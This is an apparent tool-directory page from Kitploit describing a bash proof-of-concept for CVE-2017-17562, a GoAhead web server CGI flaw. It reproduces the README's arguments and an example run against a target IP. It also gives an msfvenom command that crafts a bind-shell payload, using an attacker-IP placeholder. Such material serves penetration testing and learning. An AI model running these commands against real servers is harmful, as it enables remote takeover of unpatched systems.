Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
bash-CVE-2017-17562 — PoC for CVE-2017-17562 written in bash | Kitploit
Tools/GitHubGitHub/joaomagfreitas/bash-cve-2017-17562
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationArchived
GitHubjoaomagfreitas/bash-cve-2017-17562

bash-CVE-2017-17562

PoC for CVE-2017-17562 written in bash

View Repository
14 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

bash-CVE-2017-17562

An PoC implementation in Bash for CVE-2017-17562.

Requires curl for crafting HTTP requests.

Based on Metasploit and @fssecur3 implementations.

Arguments

The following arguments need to be set as they are required for reconnaissance + payload send:

$1: IP/Host of remote vulnerable machine being attacked
$2: Port of remote machine webserver
$4: Path to crafted payload being sent to vulnerable machine

Optionally, the following arguments can also be set:

$3: If the web server is running under a TLS/SSL tunnel. Defaults to no
$5: Path to list of known vulnerable CGI endpoints, to be used in reconnaissance phase. Defaults to "cgi.endpoints"

Example

bash exploit.bash 192.168.1.1 80 yes payload.so cgi.endpoints

Disclaimer

The present code is only for learning and demonstration purposes. You shall not use this in to targets you do not have permission to do so.

No payloads are provided in this repository. However any binary that matches target OS architecture should work. To craft a bind shell payload, you can use msfvenon:

msfvenom -a <instruction_set> --platform <os> -p generic/shell_bind_tcp LHOST=<attacker_ip_address> LPORT=<target_bind_port> -f elf-so -o payload.so
Download Tool